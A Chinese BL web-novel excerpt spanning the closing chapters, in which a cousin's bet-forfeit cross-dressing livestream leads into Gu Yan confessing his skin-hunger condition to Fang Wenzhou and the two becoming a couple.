顾行辰感觉一阵眩晕,手机都差点脱手。 顾延:“三套衣服,猫耳女仆装,包臀裙,洛丽塔洋装。我都下单了,按照你的尺寸。” 顾行辰眼前一黑,哥也不叫了:“你都买了?!” “嗯,为了避免你临阵脱逃,我提前准备好了。” 顾行辰盯着屏幕上三件风格迥异的女装预览图,想死的心都有了:“我们能不能再商量一下,换个方式?我以后绝对唯你马首是瞻。” 顾延收起手机,没有留余地,“愿赌服输。你自己提出的赌注,就要自己承担后果。顾家人,言出必行。” “可那是女装!还要直播!”顾行辰马上就要哭出来了,“我以后还怎么见人?” 顾延微微挑眉,“也没什么人认识你。” “哥,亲哥!”顾行辰扑到沙发边,试图做最后的挣扎,“换个方式行不行?我请你吃一个月的饭,顶级餐厅随便挑。” 顾延抬眼看他:“我有钱。” 顾行辰:“” 他算是看明白了,他哥今天是铁了心要看他笑话。 哀嚎一声,顾行辰瘫回对面的沙发,自暴自弃道:“行吧行吧。” “既然没异议,时间你自己定。” “那就晚上八点。”顾行辰有气无力地抹了把脸,“早死早超生。” —— 另一边的方闻洲踩着点打完卡,刚在工位上坐下,邻座的赵屿就滑着椅子凑了过来。 “洲儿,听说了没?” 方闻洲打开电脑,问:“听说什么?” “最近有风声,据传上头要有动作,可能最近会提一个人上去。” 方闻洲转头看他:“什么意思?” 赵屿用下巴朝总监办公室方向示意了一下,“项目二组那边好像空出个小组长的位置。风声是放出来了,最近都得好好表现。” 方闻洲敲击键盘的手指停住。 升职?他入职时间不算长,虽然表现一直不错,但资历尚浅,这种机会暂时还轮不到他。 他对此倒没什么特别的想法,只是随口道:“消息可靠吗?” “谁知道呢,空穴不来风嘛。”赵屿耸耸肩,“反正多注意点总没坏处。你看隔壁组的王哥,最近加班都比以前积极了。” 方闻洲嗯了一声,没太往心里去。 他更关心手头这个新卡面能不能按时完成。至于职场晋升,他有一套自己的节奏,不急不躁,先把分内事做到最好再说。 赵屿见他反应平淡,也没再多说,回到自己工位开始工作。 一天的时间在繁忙的工作中度过。窗外天色渐染暮色,方闻洲保存完最后一个图层,刚拿起手机准备叫车,顾延的消息就跳了出来 【G:下班了直接到停车场,老位置。】 有人来接自己,自然就没有必要继续打车,方闻洲给他回了个消息。 【一叶舟:好,马上。】 两人在停车场会面,顾延一如既往的为他打开副驾驶的门。 方闻洲坐了进去,系好安全带,问道:“等很久了吗?” 顾延启动车子,“没有,我也刚忙完。今天工作怎么样?累不累?” “还好,就是画图久了脖子有点酸。”方闻洲用手捏了捏后颈。 趁着等出口抬杆的间隙,顾延侧头看了他一眼:“要我给你揉揉吗?” “不用那么麻烦。”方闻洲小声道。 车子驶入傍晚的车流,华灯初上,城市的轮廓在暮色中逐渐清晰。 “晚饭想好要吃什么了吗?” 方闻洲拒绝道:“不用专门给我做饭,你工作一天也累了,别再折腾了。” 顾延道:“给你做饭不折腾,而且,我也想和你多待一会儿。” 又来了,这人总是这样,一句话就能轻易拨动他。 方闻洲盯着自己放在腿上的手指,轻声应道:“那好吧,麻烦你了。” “不麻烦。”顾延笑了笑,转而提起,“对了,晚上八点有空的话,带你一起看场直播。” 作者有话说:《 》 第62章[VIP] 第62章 第62章[VIP] 在方闻洲的印象里, 顾延不太像会去看直播的人,因此他有点意外:“直播,什么直播?” 顾延难得给他卖了个关子:“一个挺有意思的直播, 保证别开生面。” 少年被顾延的话勾起了好奇心,能让顾延特地提起的直播,恐怕不是什么寻常内容。 “神神秘秘的。”他嘀咕了句, 没再追问。 车子一路行驶, 最终停在了方闻洲的小别墅里。 两人前后进了屋子,言言在自己的专属猫爬架上, 居高临下地睥睨着两位两脚兽。 经过最近几个礼拜频繁的到访,它早已对这位高大的客人熟悉得不得了, 此刻正以一种放松的姿态揣着前爪,团在平台上。 见两人进门,它只懒洋洋地掀了掀眼皮,尾巴尖悠闲地晃了一下。 方闻洲顺着顾延的目光看去,“你看言言那样子, 跟个监工似的。” 顾延失笑,换上拖鞋,“可不是,架子端得还挺足。” 晚饭照例是顾延下厨, 方闻洲则在旁打下手。 简单的两菜一汤很快上桌,青椒炒肉丝, 蒜蓉西兰花,还有一道西红柿蛋花汤。两人相对而坐, 简单的吃了顿晚饭。 等收拾好碗筷, 时间来到了七点五十几分。 客厅里只开了几盏氛围灯,光线柔和。言言不知何时从猫爬架上下来, 踱步到沙发边,找了个舒服的姿势团好,继续履行它监工的职责。 “快八点了。”顾延擦干手,抬腕看了眼时间。 “嗯。” 顾延牵着他坐到沙发,接过方闻洲递来的平板,将屏幕投射到对面墙壁的大尺寸电视上。 八点整,直播间准时开启。 首先映入眼帘的是一间布置简洁的卧室,镜头角度显然调整过,主要对准中央的空地,避开了私人物品。 紧接着,一个人影磨磨蹭蹭地挪进了画面。 那是一个大美女。 柔顺的长发披散在肩头,经典的黑白配色女仆装勾勒出腰身,领口的白色蕾丝边系着一个小巧的铃铛。 裙摆之下,白袜与圆头皮鞋之间露出一截细直的小腿,一条蓬松的黑色猫尾垂在身后。 镜头里,大美人对自己的新形象似乎极度不适。 他僵硬地低着头,戴着白色蕾丝手套的手指不停地绞着裙边,连那对仿真猫耳都仿佛耷拉了几分。 正当方闻洲还在疑惑这究竟是哪类新奇直播时,屏幕中的人仿佛下定了决心,视死如归般地抬起了头。 一张无比熟悉却因化了妆而显出几分陌生的脸,出现在高清镜头前。 方闻洲难以置信地看向电视。 屏幕上身穿女仆装,戴着猫耳一脸生无可恋的主播,不就是他的顶头上司,顾行辰吗? 眼前的视觉冲击实在太过强烈,方闻洲脑子一时转不过弯:“他为什么穿成这样开直播?” “我俩打了个赌,他输了。”顾延回答。 “那他对自己可真够狠的。” 方闻洲不由生出几分同情,直播间里陆陆续续来了几个人,顾行辰深吸一口气,开始营业。 “感谢各位来到我的直播间,我是新人主播,喵、喵酱。” 为了掩饰,他故意捏着嗓子,试图发出娇柔的声线,可男生的声底终究难以掩盖,导致直播间观众们有种奇妙的割裂感。 【我耳机坏了?这声音跟我刚才看到的美女是同一个物种???】 【被主播的美貌吸引了,一开口直接给我整不会了。】 【女装大佬,好像更刺激了,果断关注。】 【不管男的女的,这腿这腰是真实存在的吗?主播性别别卡太死,谈恋爱吗?】 顾行辰的女装扮相着实出众,即便与真正的美人相比也丝毫不显逊色。 弹幕里滚动的尽是对方外貌的赞誉,而顾行辰本人自然也看到了这些留言,但箭在弦上,他只能硬着头皮,磕磕绊绊地介绍自己,并向每一位进入直播间的观众道谢。 【主播身材比例绝了,这腿是真实存在的吗?】 【女仆装太合适了,妆容也好精致,是自己化的吗?】 【猫耳和尾巴好可爱,动一下看看嘛。】 起初,顾行辰对这类夸赞还感到浑身别扭,回复得干巴巴。 但渐渐地,满屏幕的腿长腰细可爱逐渐冲淡了最初的羞耻,被认可的快感涌了上来。 在回答了十几个问题后,他不知不觉就松懈下来。 顾行辰一只手肘撑在椅子扶手上,手掌托着腮,另一只手百无聊赖地卷着自己胸前的一缕假发,身体侧着两条长腿交叠,脚尖还一点一点的。 【主播坐姿好御姐,爱了爱了。】 【姐姐腿好长,prprpr】 顾行辰瞥见弹幕,眉毛一挑,又试着调整了一下角度,让交叠的腿在镜头里显得更长更直,然后掀起眼皮,对着镜头抛出了个他自认为风情万种的媚眼。 只可惜事与愿违。 客厅里,方闻洲刚端起水杯抿了一口,抬眼就撞上屏幕中顾行辰扭曲中透着努力,努力里又夹带几分狰狞的媚眼。 他瞳孔一震,下一秒,呛出的水径直喷在了茶几前的地毯上。 “他他他是不是玩上头了!” “可能吧。” 顾延早在他弟开始调整姿势时就生出不祥的预感,此刻亲眼目睹堪称惨绝人寰的媚眼,顿时抬手捂住了眼睛,不忍再看。 直播间里的弹幕和两人的反应如出一辙。 【???】 【我看到了什么?刚刚那是面部抽搐了吗?】 【姐姐(?)别这样,我害怕】 就在这时,直播间内突然亮起了礼物特效。 【用户Y赠送了嘉年华x1!】 炫目的全屏特效伴随着华丽的音效,让顾行辰和观众都惊呆了。还没等大家反应过来,同样的特效再次接二连三地霸占了屏幕。 【用户Y赠送了嘉年华x10!】 【用户Y赠送了嘉年华x50!】 足足五十个嘉年华,换算成现金是一笔极其可观的数目,即便在顶级主播的直播间里也堪称大手笔。 顾行辰彻底懵了。他保持着半起身的滑稽姿势,呆呆地看着屏幕上不断刷新的礼物公告,大脑一片空白。 什么情况?居然真有人好这口? 顾行辰小心翼翼地开口:“姐,你是不是刷错直播间了?” 【Y:没有刷错,还有我不是女的。】 “呃,对不起哥,谢谢你的厚爱,破费了。” 【Y:不多,你平时直播时间是什么时候?】 只是一个赌约造就的直播,没想到节目效果会如此充足,被嘉年华吸引过来的观众越来越多,直播间从刚开始不过短短十几人,到现在已经破万。 Y哥的问题被不断复制刷屏,顾行辰不得不硬着头皮回答。 “Y哥,谢谢你的支持哈。不过我可能就播今天这一次,以后大概不播了。” 听到顾行辰的话,弹幕里一片哀嚎。 【啊?就一次?不要啊喵酱。】 【Y哥快用嘉年华砸晕他,让他天天播。】 【主播别啊,你这条件不直播可惜了。】 Y哥没让观众失望,紧跟着抛出了新的问题。 【Y:花多少钱能让你每天都播?】 这句话歧义不小,加上对方近乎霸道的提问方式,一个令他不爽的猜测窜入脑海。 这人该不会是把他当成了那种可以用钱包养的特殊主播吧? 顾行辰从来就不是缺钱的主,被这么直白地地询价,火气噌地就冒了上来。 只见原本还坐在椅子上千娇百媚的人站了起来,手指搭在鼠标下,轻轻一点,系统弹出了新的消息。 【用户Y已被房主喵酱移出直播间。】 世界清净了,碍眼的ID从在线列表上消失了。顾行辰一脚踩在椅子上,用大拇指擦过鼻头,哼笑了声。 “想包养小爷我,下辈子吧。” 五十个嘉年华的榜一大哥说踢就踢,直播间陷入死寂,好半天才有新的消息飘过。 【主播,牛逼。】 【完了,经过这波操作,我好像更喜欢喵酱了怎么办。】 顾行辰踢完人,心中的恶气总算顺了点,他又恢复了玩世不恭的模样。 “不好意思啊各位,主播坚决抵制任何试图用金钱腐蚀我纯洁灵魂的行为。” 榜一土豪被主播光速踢出直播间的戏剧性场面,迅速被观众录屏传播,成了当天平台的热门话题。 方闻洲在客厅已经笑得直拍沙发扶手,拿出手机也给顾行辰刷了个嘉年华。 始终留意着他一举一动的顾延自然没有错过这个动作。见少年随手就给自己堂弟打赏了价值不菲的礼物,男人目光在他屏幕上停了片刻,随即蹙了下眉。 “你也喜欢他这装扮?” 方闻洲疑惑:“啊?没有啊。” 顾延不满:“那为什么给他刷礼物?” “我就凑个热闹,他毕竟是你堂弟。”方闻洲解释。 顾延:“堂弟也不行。” 方闻洲先是一愣,随即反应过来,眼里漾开笑意。 他胆大包天地伸出手,捏住顾延的脸:“顾先生,你该不会吃醋了吧?” 顾延迎着他的目光,坦然答道:“是。” 电视里的顾行辰还在插科打诨,嚷嚷着金钱腐蚀不了我,电视外,两人面对面坐着,呼吸可闻。 顾延就那么任由他捏着脸,神色认真,目光笼着他。 方闻洲的心忽然轻轻一颤。 长久以来悬在心头的东西,莫名就落了地。 “顾延。”方闻洲开口叫住他的名字。 “嗯?” “你之前说,要慢慢追我。”他指尖从顾延脸颊滑下,落在他肩头,揪住了一点点衬衫的布料,“可我不想等了。” 他望着眼前这个满心满眼都是自己的男人,忽然觉得,那些反反复复的试探,实在没什么意思。 方闻洲想快点和顾延在一起。 少年凑上前在顾延嘴角落下一个吻,问眼前人:“你准备什么时候给我表白?” 作者有话说:《 》 第63章 完结[VIP] 第63章 第63章[VIP] 方闻洲吻完便稍稍退开, 脸颊透出薄红。他手指攥紧顾延的衬衫,泄露了心底的紧张。 顾延眼底暗色翻涌,维持许久的表象被彻底撕开。他抬起右手, 覆上方闻洲的眼睛,随即俯身回吻过去。 不同于方闻洲方才蜻蜓点水般的触碰,顾延的吻来得急切。左手滑至对方后颈托住, 舌尖撬开齿关, 长驱直入地扫过上颚,缠住他的舌, 在灼热的呼吸间吮吸纠缠。 少年脊背抵上沙发,缺氧的感觉和灭顶的愉悦同时袭来, 他没推脱过于激烈的亲吻,攀附上男人的肩膀。 良久,顾延才退开一点,额头抵着他的额头,呼吸粗重滚烫, 喷洒在彼此唇间。 初吻过后,他便连夜布置好了告白现场。满屋的礼物,无一不是贴着方闻洲的喜好挑选。他曾在脑海中反复描摹少年见到时,眼中该是如何的流光溢彩。 可渴肤症像是条锁链, 不断将他拖回现实。这个疾病并非是普通的情感需求,而是一种需索无度的病。他害怕方闻洲得知真相后会厌弃自己。 因此他迟迟不敢向前, 可如今,随着少年的主动靠近, 他最后的克制也土崩瓦解。 再无退路, 顾延决定将选择权交到了方闻洲手上。 他哑声开口,“跟我走。” 方闻洲睫毛扫过顾延仍覆在他眼上的手:“去哪?” “我家。”顾延的手滑下来, 转而托住方闻洲的脸颊,“有些东西,想给你看。” 方闻洲敏锐地察觉到顾延情绪的异常,对方是不是还有事瞒着自己? 他不动声色,问:“现在就去?” “现在,如果你愿意。” “好,我跟你走。” 车子一路疾驰,速度比之前的任何一次都要快。窗外的街景连成模糊的景色,不过半小时,就来到了顾延家楼下。 方闻洲跟着顾延踏进公寓。玄关简洁,客厅是现代风格,色调以灰白为主,一如屋子主子给他人的第一印象。 疏离、克制、井然有序。 “坐。”顾延指了指沙发,“想喝什么?” “不用了,顾哥。”方闻洲回绝了他的邀请,视线落在顾延身上。 从进门起,顾延就显得异常紧绷,像在竭力压抑着什么。 方闻洲接上没说完的话:“不是说,有东西要给我看?” 顾延在他面前站定,沉默了几秒,牵起他的手:“在这里。” 卧室的门被推开。 与客厅的风格截然不同,门后的景象让方闻洲骤然停住脚步。 整整一面墙,被改造成了定制的展示架,分割成无数个大小不一的格位。而每一个格位里,都安置了幅被装裱起来的画作。 墙上的画,他再熟悉不过。 有些是他早期练笔的青涩之作,还有些是发布在社交平台上获得过热烈反响的商业稿,甚至有几张,是他早已遗失的私人练习图。 所有的画,无一例外,都署着同一个名字, ——闻舟。 光线从隐藏式灯带中洒落,笼罩着整面墙的珍藏。空气里弥漫了某种浓烈的情感,凝成实体,沉甸甸地压在心口。 方闻洲站在原地一动也不能动。震惊过后,一种难以言喻的复杂情绪涌了上来。 “你什么时候”方闻洲的声音干涩。 “从看到你第一幅让我着迷的画开始。”顾延的声音在他身后响起,很近,但保持了安全距离,没有靠近少年。 “几年了,只要是你公开发布过的,能找到的,我都收来了。” 方闻洲缓缓转过身,看向顾延:“为什么?” 他从没见过有哪个人痴迷自己的画到如此地步。 顾延避开方闻洲的视线,走到墙边一个独立的玻璃展柜前。里面放置的画正是前不久方闻洲给他画的稿件。 “方闻洲,我生病了。” 顾延指尖拂过画稿,目光却紧紧锁住少年,不再掩饰其中的渴望。 “渴肤症,一种心理疾病。它让我对肌肤接触产生了难以自控的渴求。” “这种渴望不是普通的情感需求,它更像是一种瘾。独处时,它会带来难以忍受的空虚。只有靠近你,看到你的画,才能让它暂时平息。” “这幅墙,这个房间,是我的药。”顾延闭上眼。 一切都有了解释。 方闻洲消化完这番话,向前走了一步,“顾延,我只有一个问题。” 顾延:“你问。” 方闻洲一字字道:“你对我所有的靠近,究竟是因为我能画出让你平静的画,还是因为我本身?” “一开始,是画。”顾延坦白道:“你的画里有我渴望的一切,热烈生机触手可及的温度。” “但很快我发现,我收集再多画,也填补不了心里的空洞。它们只是让我更想见到作画的人。” 方闻洲静静看着他:“所以,我只是你收集的下一幅画?” “不是!”顾延声音发紧,甚至带上了难以抑制的颤抖。 “这病症让我每一刻都想靠近你触碰你,可也正是因为对你动了感情,我才更怕触碰会伤到你。” 方闻洲:“顾延,看着我。” 顾延抬起眼,目光触及少年澄澈的双眼,里面没有想象中的厌恶。 “这病症在许多人眼里如同洪水,你怕洪水爆发时会吓走我,对吗?” “如果我说,我愿意呢?”方闻洲轻声问,“如果我愿意走进你的洪水里?” 顾延的呼吸停了:“那你可能会溺死。方闻洲,这种渴求没有尽头。今天一个拥抱,明天就想要更多。” “你要推开我吗?”方闻洲笑了,“顾延,在你心里,我就这么脆弱?” “不是脆弱,”顾延摇头,“是太珍贵。珍贵到我不敢用病态的渴求去玷污你。” 方闻洲伸手,指尖轻触顾延紧握的拳头:“那如果,我也渴求你呢?” 顾延猛地一怔:“你知道自己在说什么吗?” “我知道。”方闻洲安抚道:“感情里本来就有占有和渴望,只是你的病症被放大了而已。” “我俩不一样” 方闻洲看着他,“哪里不一样?因为你有病名而我没有?我也想靠近你,想触碰你,这算病吗?” “顾延,我的答案已经告诉你了,现在该你选择了——” “是继续躲在你的画后面,还是走出来?” 顾延摇摇欲坠的坚持,在方闻洲的话里崩断。 任何言语在此刻都失去了意义。 下一秒,少年被拽入一个滚烫的怀抱,顾延将他拥入怀中,力道大得惊人。 “对不起,我失控了” “没关系。”方闻洲在他怀里说,“这次是我允许的。” 顾延的手臂收得更紧,脸埋在方闻洲的颈窝,滚烫的呼吸烙在皮肤上。他没有说话,只是这样抱着,像是在确认怀里的人是真实存在的,不是他病中臆想的幻影。 方闻洲任由他抱着,手一下下轻抚着他的后背。他能感觉到顾延的身体在细微地颤抖。 窗外夜色漫进来,房间里静了许久。 顾延终于松开手臂,可仍将额头轻抵在他肩上,声音闷闷的:“方闻洲。” “嗯?” “谢谢你。” 方闻洲:“谢我什么?” “谢谢你还愿意站在这里。” 方闻洲哼了声,眼里漾开一点细碎的光,他戳了戳顾延的心口。 “真要谢我,现在就带洲洲去看看别的礼物吧,言故大大~~” 他故意拖长了语调,藏着笑,“我还等着收别的惊喜呢。” “好。” 顾延握住他的手,牵着他走出主卧,推开另一扇紧闭的房门。 这间屋子原本是客房,可顾延从不让人留宿,于是床被早早移走,腾出的空间被各式各样包装礼盒占据,铺满了大半个房间。 满屋的礼物给人的冲击力不比整墙的画墙小。 顾延在他身侧,解释道:“有些是上次准备的,你没要,我就都留着。后来每次看到觉得你会喜欢的东西,都会想要买下来,不知不觉就堆了这么多。” 怪不得有些礼盒的包装看上去颇为眼熟,原来连上次被自己退回的礼物都在里面了。 半屋子的礼物一时半会也拆不完,闻舟大人索性关上门,打算以后一天拆一样。 从堆满礼物的房间退出来,方闻洲没有错过顾延脸上毫不掩饰的渴望。 方闻洲心知肚明男人想做什么,仍歪头故意问他:“礼物看完了,顾先生还有什么安排?” 顾延没有让他失望,抬手轻捻近在咫尺的耳垂,“想吻你,算不算安排?” “那顾先生还在等什么?”方闻洲踮起脚尖,缩短了两人的身高差,贴在顾延的唇边问。 不同于先前的急切,这个吻缓慢而深入,顾延细细碾过他的唇瓣吮吸舔舐,勾缠着他的舌尖。 方闻洲被吻得腿软,向后靠在冰凉的门板上,顾延的手臂及时环住他的腰,将他牢牢按向自己。 一吻终了,两人都有些气喘。顾延的额头蹭了蹭他的,鼻尖相蹭呼吸交织。 “今晚别回去了,”他的声音低沉,裹着未平的气息,“留下来陪我。” 话语并非询问,方闻洲伸手环住顾延的脖子,用一个轻吻作为答复。 夜色温柔,房间内的灯被调至最暗,只余朦胧的光晕勾勒出交叠的身影。 衣料摩挲的细响消失在夜色里,取而代之的是逐渐同步的呼吸,时而缓沉,时而急促。 温度在触碰间攀升,指尖划过皮肤带起细微的战栗,所有未尽的话语都融进灼热的吐息之中—— 正文完结——《 》